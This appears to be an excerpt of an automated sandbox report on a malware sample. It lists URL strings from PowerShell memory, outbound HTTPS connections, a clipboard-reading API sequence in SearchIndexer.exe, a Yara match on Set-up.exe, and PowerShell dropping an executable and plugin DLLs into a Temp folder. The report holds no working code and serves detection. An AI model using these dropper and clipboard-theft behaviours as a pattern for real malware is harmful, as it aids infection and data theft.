Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spreadshirt.ie/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spreadshirt.ie/(
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spreaker.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spreaker.com/)
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spri.ng/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spri.ng/0
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spriters-resource.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spriters-resource.com/N
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spyder-ide.org/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.spyder-ide.org/m
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.square-enix.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.square-enix.com/=
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.squarespace.com/logo-guidelines
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ssrn.com
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.st.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.stackbit.com/branding-guidelines/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.stackbit.com/branding-guidelines/;
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.stackpath.com/company/logo-and-branding/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.stackpath.com/company/logo-and-branding//
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.starlingbank.com/media/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.starlingbank.com/media/#
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.starz.com/guides/starzlibrary/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.stellar.org/press
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.stellar.org/press1
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.storyblok.com/press
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.storyblok.com/press4
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.streamlit.io/brand
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.streamlit.io/brand/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.strongswan.org/images/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.strongswan.org/images/$
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.styled-components.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.stylesha.re/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.stylesha.re/x
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sublimetext.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.surveymonkey.com/mp/brandassets/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.suzuki.ie/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.suzuki.ie/o
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.swiggy.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.synology.com/en-global/company/branding
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.synology.com/en-global/company/brandingA
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tableau.com/about/media-download-center
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tableau.com/about/media-download-center4
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tado.com/gb-en/press-assets
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tado.com/gb-en/press-assetsH
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.talend.com/blog/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.talend.com/blog/P
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.target.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.target.com/-
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tatasteel.com/media/media-kit/logos-usage-guidelines/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tatasteel.com/media/media-kit/logos-usage-guidelines/&
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.taxbuzz.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.taxbuzz.com/=
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.teamspeak.com/en/more/media-pack/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.teamspeak.com/en/more/media-pack/2
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.teamviewer.com/en-us/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ted.com/participate/organize-a-local-tedx-event/tedx-organizer-guide/branding-promotions
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tele5.de
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tele5.de#
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tensorflow.org/extras/tensorflow_brand_guidelines.pdf
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tesco.com
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tesco.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tesla.com/tesla-gallery
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.testin.cn/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.testin.cn/2
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.themoviedb.org/about/logos-attribution
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.themoviedb.org/about/logos-attribution2
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.thenorthface.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.thenorthface.com/1
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.theregister.co.uk/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.theregister.co.uk/:
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.thingiverse.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.thingiverse.com/4
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.thumbtack.com/press/media-resources/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.washingtonpost.com/brand-studio/archive/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.washingtonpost.com/brand-studio/archive/.
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.who.int/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.who.int/2
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.winmate.com/NewsAndEvents/Publications
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wipro.com/content/dam/nexus/en/service-lines/applications/latest-thinking/state-of-cyber
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wireguard.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wireguard.com/u
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.xbox.com/en-US/consoles
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.xbox.com/en-US/consoles0
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.xda-developers.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.xda-developers.com/N
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.xero.com/uk/about/media/downloads
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.xero.com/uk/about/media/downloads0
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.xfce.org/download#artwork
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.xfce.org/download#artwork&
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.xilinx.com
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.xsplit.com/presskit
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.yamaha.com/en/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.yamaha.com/en/Q
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ycombinator.com/press/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ycombinator.com/press/0
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.yelp.com/styleguide/icons
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.yelp.com/styleguide/icons)
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/E
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/yt/about/brand-resources/#logos-icons-colors
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/yt/about/brand-resources/#logos-icons-colors0
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.z-wave.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zalando.co.uk/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zdf.de/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zdf.de/%
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zellepay.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zend.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/)
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zillow.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zillow.com/4
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zingat.com/kurumsal-logolar
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zingat.com/kurumsal-logolar)
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zoho.com/branding/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zoho.com/branding//
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zoiper.com/en/products
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zoiper.com/en/products1
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zomato.com/business/apps
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D811000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zondicons.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zotero.org/support/brand
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zotero.org/support/brand~
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zyte.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zyte.com/o
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xrpl.org/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yalehome.com
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yalehome.com3
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yoast.com/media/logo/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yoast.com/media/logo/)
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yourtravel.tv
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yourtravel.tvR
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://z.cash/press/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zalo.me/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zapier.com/about/brand
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zenn.dev/mediakit
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zenn.dev/mediakit%
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zerodha.com
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zerodha.comZ
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zerply.com/about/resources
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zigbeealliance.org/solution/zigbee/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zigbeealliance.org/solution/zigbee/$
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zoom.us/brandguidelines
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zoom.us/brandguidelines&
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zorinos.com/press/
Source: powershell.exe, 00000004.00000002.1798946627.000001FE1D397000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://zorinos.com/press/1

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: unknown	HTTPS traffic detected: 172.67.167.249:443 -> 192.168.2.8:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 169.150.247.33:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 138.199.36.9:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.200.243:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.146.35:443 -> 192.168.2.8:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.146.35:443 -> 192.168.2.8:49715 version: TLS 1.2

Source: C:\Windows\SysWOW64\SearchIndexer.exe

Code function: 12_2_00360450 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalFix,GlobalUnWire,CloseClipboard,

12_2_00360450

Source: C:\Windows\SysWOW64\SearchIndexer.exe

Code function: 12_2_00360450 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalFix,GlobalUnWire,CloseClipboard,

12_2_00360450

Source: Yara match

File source: Process Memory Space: Set-up.exe PID: 1568, type: MEMORYSTR

System Summary

.NET source code contains very large strings

Source: MahApps.Metro.IconPacks.Codicons.dll.4.dr, PackIconCodiconsDataFactory.cs	Long String: Length: 12441
Source: MahApps.Metro.IconPacks.FileIcons.dll.4.dr, PackIconFileIconsDataFactory.cs	Long String: Length: 14104
Source: MahApps.Metro.IconPacks.FileIcons.dll.4.dr, PackIconFileIconsDataFactory.cs	Long String: Length: 20296
Source: MahApps.Metro.IconPacks.FileIcons.dll.4.dr, PackIconFileIconsDataFactory.cs	Long String: Length: 13040
Source: MahApps.Metro.IconPacks.FileIcons.dll.4.dr, PackIconFileIconsDataFactory.cs	Long String: Length: 49585
Source: MahApps.Metro.IconPacks.FileIcons.dll.4.dr, PackIconFileIconsDataFactory.cs	Long String: Length: 11866
Source: MahApps.Metro.IconPacks.FileIcons.dll.4.dr, PackIconFileIconsDataFactory.cs	Long String: Length: 16479
Source: MahApps.Metro.IconPacks.FileIcons.dll.4.dr, PackIconFileIconsDataFactory.cs	Long String: Length: 22382
Source: MahApps.Metro.IconPacks.FileIcons.dll.4.dr, PackIconFileIconsDataFactory.cs	Long String: Length: 10124
Source: MahApps.Metro.IconPacks.FileIcons.dll.4.dr, PackIconFileIconsDataFactory.cs	Long String: Length: 21471
Source: MahApps.Metro.IconPacks.FileIcons.dll.4.dr, PackIconFileIconsDataFactory.cs	Long String: Length: 14740
Source: MahApps.Metro.IconPacks.Fontaudio.dll.4.dr, PackIconFontaudioDataFactory.cs	Long String: Length: 11520
Source: MahApps.Metro.IconPacks.FontAwesome.dll.4.dr, PackIconFontAwesomeDataFactory.cs	Long String: Length: 11139

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.Toolkit.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.ForkAwesome.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Newtonsoft.Json.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.RPGAwesome.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.RadixIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.Shell.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\Set-up.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.RemixIcon.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Codicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Xceed.Wpf.AvalonDock.Themes.VS2010.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Typicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.JamIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.ShellExtensions.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.PicolIcons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MahApps.Metro.IconPacks.Ionicons.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\MaterialDesignThemes.Wpf.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\x64\plugins\Microsoft.WindowsAPICodePack.ExtendedLinguisticServices.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\file\WebUI.dll	Jump to dropped file
